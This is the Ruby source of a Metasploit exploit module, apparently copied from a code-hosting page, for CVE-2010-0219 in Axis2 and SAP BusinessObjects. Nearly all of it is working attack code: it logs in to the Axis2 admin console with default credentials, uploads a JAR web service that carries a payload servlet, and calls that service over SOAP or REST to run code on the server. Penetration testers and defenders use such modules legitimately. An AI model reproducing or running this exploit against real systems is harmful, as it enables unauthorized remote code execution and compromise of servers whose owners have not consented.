Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/axis2_deployer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',16'Description' => %q{17This module logs in to an Axis2 Web Admin Module instance using a specific user/pass18and uploads and executes commands via deploying a malicious web service by using SOAP.19},20'References' =>21[22# General23[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],24[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],25[ 'CVE', '2010-0219' ],26[ 'OSVDB', '68662' ]27],28'Platform' => %w{ java linux win }, # others?29'Targets' =>30[31[ 'Java', {32'Arch' => ARCH_JAVA,33'Platform' => 'java'34},35],36#37# Platform specific targets only38#39[ 'Windows Universal',40{41'Arch' => ARCH_X86,42'Platform' => 'win'43},44],45[ 'Linux X86',46{47'Arch' => ARCH_X86,48'Platform' => 'linux'49},50],51],52'DefaultTarget' => 0,53'DisclosureDate' => '2010-12-30',54'Author' =>55[56'Joshua Abraham <jabra[at]rapid7.com>', # original module57'Chris John Riley' # modifications58],59'License' => MSF_LICENSE60))6162register_options(63[64Opt::RPORT(8080),65OptString.new('USERNAME', [ true, 'The username to authenticate as','admin' ]),66OptString.new('PASSWORD', [ true, 'The password for the specified username','axis2' ]),67OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])68])69register_autofilter_ports([ 8080 ])70end7172def upload_exec(session,rpath)73contents=''74name = Rex::Text.rand_text_alpha(8)7576# We must register this file early, that way the on_new_session method77# won't miss it if FileDropper's cleanup routine kicks in.78register_file_for_cleanup("webapps#{rpath}/WEB-INF/services/#{name}.jar")7980services_xml = %Q{81<service name="#{name}" scope="application">82<description>83#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}84</description>85<messageReceivers>86<messageReceiver87mep="http://www.w3.org/2004/08/wsdl/in-only"88class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>89<messageReceiver90mep="http://www.w3.org/2004/08/wsdl/in-out"91class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>92</messageReceivers>93<parameter name="ServiceClass">94metasploit.PayloadServlet95</parameter>96</service>97}98if target.name =~ /Java/99zip = payload.encoded_jar100zip.add_file("META-INF/services.xml", services_xml)101102# We need this class as a wrapper to run in a thread. For some reason103# the Payload class is giving illegal access exceptions without it.104servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')105zip.add_file("metasploit/PayloadServlet.class", servlet)106107contents = zip.pack108end109110boundary = rand_text_alphanumeric(6)111112data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "113data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"114data << contents115data << "\r\n--#{boundary}--"116117res = send_request_raw({118'uri' => "#{rpath}/axis2-admin/upload",119'method' => 'POST',120'data' => data,121'headers' =>122{123'Content-Type' => 'multipart/form-data; boundary=' + boundary,124'Cookie' => "JSESSIONID=#{session}",125}126}, 25)127128if (res and res.code == 200)129print_good("Successfully uploaded")130else131print_error("Error uploading #{res}")132return133end134=begin135res = send_request_raw({136'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",137'method' => 'GET',138'headers' =>139{140'Cookie' => "JSESSIONID=#{session}",141}142}, 25)143puts res.body144puts res.code145if res.code > 200 and res.code < 300146if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )147dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"148puts dir149else150if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) )151dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"152puts dir153end154end155end156=end157158print_status("Polling to see if the service is ready")159160res_rest = send_request_raw({161'uri' => "#{rpath}/services",162'method' => 'GET',163}, 25)164165soapenv='http://schemas.xmlsoap.org/soap/envelope/'166xmlns='http://session.dsws.businessobjects.com/2007/06/01'167xsi='http://www.w3.org/2001/XMLSchema-instance'168169data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"170data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"171data << '<soapenv:Header/>' + "\r\n"172data << '<soapenv:Body>' + "\r\n"173data << '<soapenv:run/>' + "\r\n"174data << '</soapenv:Body>' + "\r\n"175data << '</soapenv:Envelope>' + "\r\n\r\n"176177begin178p = /Please enable REST/179catch :stop do1801.upto 5 do181Rex::ThreadSafe.sleep(3)182183if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)184# Try to execute the payload185res = send_request_raw({186'uri' => "#{rpath}/services/#{name}",187'method' => 'POST',188'data' => data,189'headers' =>190{191'Content-Length' => data.length,192'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',193'Content-Type' => 'text/xml; charset=UTF-8',194}195}, 15)196else197## rest198res = send_request_raw({199'uri' => "#{rpath}/services/#{name}/run",200'method' => 'GET',201'headers' =>202{203'cookie' => "jsessionid=#{session}",204}205}, 25)206207if not (res.code > 200 and res.code < 300)208## rest alternative path (use altres as a 200 is returned regardless)209altres = send_request_raw({210'uri' => "#{rpath}/rest/#{name}/run",211'method' => 'GET',212'headers' =>213{214'cookie' => "jsessionid=#{session}",215}216}, 25)217end218end219220if res and res.code > 200 and res.code < 300221throw :stop # exit loop222elsif res and res.code == 401223if (res.headers['WWW-Authenticate'])224authmsg = res.headers['WWW-Authenticate']225end226print_error("The remote server responded expecting authentication")227if authmsg228print_error("WWW-Authenticate: %s" % authmsg)229end230raise ::Rex::ConnectionError231throw :stop # exit loop232end233end234end235rescue ::Rex::ConnectionError236print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")237end238end239240def exploit241user = datastore['USERNAME']242pass = datastore['PASSWORD']243rpath = normalize_uri(datastore['PATH'])244245success = false246srvhdr = '?'247begin248res = send_request_cgi(249{250'method' => 'POST',251'uri' => normalize_uri(rpath, '/axis2-admin/login'),252'ctype' => 'application/x-www-form-urlencoded',253'data' => "userName=#{user}&password=#{pass}&submit=+Login+",254}, 25)255256if not (res.kind_of? Rex::Proto::Http::Response)257print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")258end259260if res.code == 404261print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")262end263264srvhdr = res.headers['Server']265if res.code == 200266# Could go with res.headers["Server"] =~ /Apache-Coyote/i267# as well but that seems like an element someone's more268# likely to change269270success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)271if res.get_cookies =~ /JSESSIONID=(.*);/272session = $1273end274end275276rescue ::Rex::ConnectionError277print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")278end279280281if not success and not rpath =~ /dswsbobje/282rpath = '/dswsbobje'283begin284res = send_request_cgi(285{286'method' => 'POST',287'uri' => normalize_uri(rpath, '/axis2-admin/login'),288'ctype' => 'application/x-www-form-urlencoded',289'data' => "userName=#{user}&password=#{pass}&submit=+Login+",290}, 25)291292if not (res.kind_of? Rex::Proto::Http::Response)293print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")294end295296if res.code == 404297print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")298end299300srvhdr = res.headers['Server']301if res.code == 200302# Could go with res.headers["Server"] =~ /Apache-Coyote/i303# as well but that seems like an element someone's more304# likely to change305306success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)307if res.get_cookies =~ /JSESSIONID=(.*);/308session = $1309end310end311312rescue ::Rex::ConnectionError313print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")314end315end316317if success318print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")319upload_exec(session,rpath)320else321print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")322end323end324end325326327